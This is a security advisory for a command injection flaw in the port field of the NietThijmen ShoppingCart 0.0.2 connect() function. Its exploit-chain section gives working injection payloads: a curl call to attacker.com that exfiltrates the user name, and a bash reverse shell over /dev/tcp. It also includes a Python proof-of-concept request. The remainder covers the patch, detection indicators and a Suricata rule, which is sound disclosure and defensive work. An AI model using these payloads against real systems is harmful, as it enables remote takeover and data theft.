CVE-2024-53412: Command Injection via Port Field in ShoppingCart 0.0.2
The connect() function in NietThijmen ShoppingCart 0.0.2 passes an attacker-controlled Port field directly to a shell command, enabling unauthenticated RCE via classic command injection.
A Shopping Cart software called NietThijmen ShoppingCart has a serious security flaw that could let hackers take complete control of a server running the program.
Here's what's happening. When someone tries to connect to the software, they're asked to enter a port number — think of a port like a specific door on a computer that lets different programs talk to each other. The problem is that the software doesn't check what you type into that field carefully enough.
An attacker could type something sneaky that looks like a port number but actually contains hidden commands. Instead of just connecting, the software would accidentally run those malicious commands with full access to the system — like someone slipping instructions into a delivery note that the recipient follows without reading carefully.
This is what's called "remote code execution," which is security jargon for "a hacker can make your computer do whatever they want from anywhere in the world."
Who needs to worry? Mainly small businesses or organizations using this shopping cart software on their websites. If your business relies on this system, you're the one at risk of having customer data stolen, your website shut down, or worse.
The good news is that security researchers haven't seen anyone actively exploiting this yet, so there's a window to act.
What should you do? First, check if you're using NietThijmen ShoppingCart version 0.0.2 — if so, stop using it immediately. Second, contact your web host or the software creator to ask about an update. Third, if you can't update right away, take the affected system offline until you have a patched version.
Want the full technical analysis? Click "Technical" above.
CVE-2024-53412 is a command injection vulnerability in the connect() function of NietThijmen ShoppingCart 0.0.2, a Node.js-based shopping cart library. The function constructs a shell-executable string using an unsanitized port parameter sourced from user-supplied configuration or network input. An attacker who can influence the port value — whether through a configuration endpoint, environment variable injection, or a directly exposed API — can append arbitrary shell metacharacters and achieve full remote code execution on the host process.
CVSS 8.4 (HIGH) reflects the low complexity of exploitation and the complete loss of confidentiality, integrity, and availability on successful compromise. No authentication is required against the vulnerable code path.
Affected Component
Package: shoppingcart (npm) — NietThijmen ShoppingCart
Version: 0.0.2
Function: connect() in the database initialization module
Input vector: port field of the connection configuration object
Platform: Cross-platform (Linux/macOS/Windows via child_process or equivalent shell interpolation)
Root Cause Analysis
The connect() function assembles a database connection string or shell invocation by directly interpolating the caller-supplied port value into a template string that is subsequently passed to a shell execution primitive (exec, execSync, or equivalent). No type coercion to integer, no regex validation, and no shell escaping is applied before the value reaches the execution sink.
// Pseudocode reconstruction of the vulnerable connect() logic
// (NietThijmen ShoppingCart 0.0.2 — db/connect.js equivalent)
function connect(config) {
const host = config.host; // e.g. "localhost"
const user = config.user; // e.g. "root"
const pass = config.password;
const port = config.port; // ATTACKER-CONTROLLED — never validated
// BUG: port is interpolated directly into a shell command string.
// No parseInt(), no /^\d+$/ check, no shell escaping applied.
const cmd = `mysql -h ${host} -u ${user} -p${pass} -P ${port} --execute="SELECT 1"`;
// Shell metacharacters in `port` are interpreted by /bin/sh
exec(cmd, (err, stdout, stderr) => {
if (err) { console.error(stderr); return; }
console.log("[db] connection verified:", stdout.trim());
});
}
The call to exec() (Node.js child_process.exec) spawns /bin/sh -c <cmd>. Because port is embedded in the string before it reaches the shell, any metacharacter — ;, &, |, $(), backticks — is evaluated by the shell interpreter at process spawn time.
Root cause: The connect() function interpolates the caller-supplied port configuration field directly into a shell command string passed to child_process.exec(), with zero sanitization, allowing shell metacharacters to break out of the intended argument context and execute arbitrary commands.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Identify an exposed API endpoint or configuration path that allows setting
ShoppingCart connection options (port field).
2. Supply a malicious port value containing a shell injection payload:
port = "3306; curl http://attacker.com/$(whoami) #"
3. ShoppingCart calls connect({ host:"localhost", user:"root",
password:"x", port:"3306; curl http://attacker.com/$(whoami) #" })
4. connect() builds the string:
"mysql -h localhost -u root -px -P 3306; curl http://attacker.com/$(whoami) #..."
5. child_process.exec() hands the entire string to /bin/sh -c.
The shell parses ';' as a command separator:
- command 1: mysql -h localhost -u root -px -P 3306
- command 2: curl http://attacker.com/$(whoami)
$(whoami) is evaluated inline, exfiltrating the process user.
6. For full RCE, escalate payload to a reverse shell:
port = "3306; bash -i >& /dev/tcp/attacker.com/4444 0>&1 #"
7. Shell forks, bash connects back to attacker listener.
Attacker receives interactive shell running as the Node.js process owner.
The injection is trivially reachable over a network if the application exposes any route that accepts database configuration (common in multi-tenant SaaS scaffolding, admin panels, or during first-run setup wizards). Even in single-tenant deployments, an attacker with SSRF or partial config-write access achieves the same result.
A minimal proof-of-concept call demonstrating the injection:
import requests
TARGET = "http://target.host:3000/api/db/connect"
# Inject into the port field; semicolon breaks the shell command
payload = {
"host": "127.0.0.1",
"user": "root",
"password": "irrelevant",
"port": "3306; id > /tmp/pwned.txt #"
}
r = requests.post(TARGET, json=payload)
print(f"[*] status: {r.status_code}")
print(f"[*] response: {r.text[:200]}")
# Verify: /tmp/pwned.txt now contains uid=www-data(www-data) gid=33...
Memory Layout
This vulnerability does not involve memory corruption — the injection operates entirely at the shell interpretation layer. The relevant "layout" is the string that lands in the shell:
SHELL COMMAND STRING — BENIGN INPUT:
+-----------------------------------------------------------------------+
| mysql -h localhost -u root -ppass -P [3306] --execute="SELECT 1" |
+-----------------------------------------------------------------------+
safe zone ──────────────────────^^^^^
port = integer, no metacharacters
SHELL COMMAND STRING — MALICIOUS INPUT:
+-----------------------------------------------------------------------+
| mysql -h localhost -u root -ppass -P [3306; id >/tmp/pwned.txt #] |
+-----------------------------------------------------------------------+
^^^^ |
';' terminates first command |
injected command follows |
'#' nulls |
remainder |
/bin/sh -c parses as TWO commands:
[0]: mysql -h localhost -u root -ppass -P 3306
[1]: id >/tmp/pwned.txt
Both execute in the same process context as Node.js.
Patch Analysis
The correct fix is to never pass the port value through a shell. The preferred remediation is to use the database client's native programmatic API (which does not spawn a shell) and to enforce integer type coercion as a defense-in-depth measure.
// BEFORE (vulnerable — CVE-2024-53412):
function connect(config) {
const port = config.port; // raw, unvalidated string
const cmd = `mysql -h ${config.host} -u ${config.user} `
+ `-p${config.password} -P ${port} --execute="SELECT 1"`;
exec(cmd, callback); // /bin/sh interprets metacharacters in port
}
// AFTER (patched):
function connect(config) {
// 1. Strict integer coercion — kills all metacharacter injection
const port = parseInt(config.port, 10);
if (isNaN(port) || port < 1 || port > 65535) {
throw new RangeError(`Invalid port: ${config.port}`);
}
// 2. Use native driver API — no shell spawned, no interpolation risk
const connection = mysql.createConnection({
host: config.host,
user: config.user,
password: config.password,
port: port, // integer, not a string
});
connection.connect(callback);
}
The patch eliminates the shell entirely by switching from child_process.exec() to the MySQL driver's native createConnection() API. Even if an attacker supplies "3306; rm -rf /", parseInt() returns 3306 and the injected suffix is discarded before it can reach any execution context. The range check prevents port 0 and values above 65535 from reaching the driver.
Detection and Indicators
Look for the following in process telemetry and logs:
PROCESS TREE INDICATORS (suspicious child processes of node):
node (pid 1234)
└─ /bin/sh -c "mysql ... -P 3306; bash -i >& /dev/tcp/..."
└─ bash -i
└─ bash (reverse shell, parent = /dev/tcp fd)
NETWORK INDICATORS:
- Outbound TCP from node process to non-database ports (e.g., 4444)
- DNS/HTTP beacons to unexpected external hosts from web process user
FILESYSTEM INDICATORS:
- /tmp/pwned.txt, /tmp/*.sh, ~/.ssh/authorized_keys modified by www-data
- New cron entries written by the node process UID
LOG PATTERNS (application logs):
- port field values containing: ; | & $ ` ( ) { } > <
- Abnormally long port values (>5 characters)
- Non-numeric characters in port field
SNORT/SURICATA RULE (HTTP request body):
alert http any any -> $HTTP_SERVERS any (
msg:"CVE-2024-53412 ShoppingCart port injection attempt";
http.request_body;
content:"port";
pcre:"/\"port\"\s*:\s*\"[^\"]*[;&|`$()]/";
sid:2024534120; rev:1;
)
Remediation
Immediate: Upgrade to a patched version of NietThijmen ShoppingCart once available. If running 0.0.2 in production, block external access to any endpoint that accepts database connection parameters.
Defense-in-depth for Node.js applications:
// Rule 1: Never use child_process.exec() with user-supplied data.
// Use execFile() or spawn() with argument arrays — no shell involved.
// UNSAFE:
exec(`ping -c 1 ${userHost}`, cb);
// SAFE:
execFile('/bin/ping', ['-c', '1', userHost], cb);
// Shell is never invoked. Metacharacters in userHost are passed as a
// literal argument to ping, not interpreted by /bin/sh.
// Rule 2: For numeric parameters, always coerce before use.
const port = parseInt(input, 10);
if (!Number.isInteger(port) || port < 1 || port > 65535) throw new Error();
// Rule 3: Use allowlist validation for any value leaving the trust boundary.
if (!/^\d{1,5}$/.test(input)) throw new Error("port rejected");
The broader pattern — interpolating configuration values into shell strings — is a systemic issue in scaffolding libraries that wrap CLI tools. Any library using exec() with template literals and config-derived values warrants audit of every interpolated field, not just port.